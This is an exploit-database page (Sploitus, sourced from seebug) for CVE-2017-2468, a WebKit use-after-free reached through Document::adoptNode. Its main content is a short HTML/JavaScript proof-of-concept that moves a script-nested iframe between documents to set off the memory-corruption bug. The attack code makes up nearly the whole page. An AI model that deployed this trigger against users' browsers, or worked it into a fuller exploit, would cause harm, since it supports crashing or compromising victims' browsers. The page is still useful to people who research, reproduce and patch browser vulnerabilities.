Sploitus

Exploit for WebKit: Use-After-Free via Document::adoptNode

CVE-2017-2468

seebug · 2017-04-07

Exploit Code

MARKDOWN17 lines
## https://sploitus.com/exploit?id=SSV:92920
<body>
<script>

var s = document.body.appendChild(document.createElement('script'));
s.type = '0';
s.textContent = 'document.body.appendChild(parent.i0)';

var i0 = s.appendChild(document.createElement('iframe'));
s.type = '';

var f = document.body.appendChild(document.createElement('iframe'));
f.contentDocument.adoptNode(i0);
f.src = 'about:blank';

</script>
</body>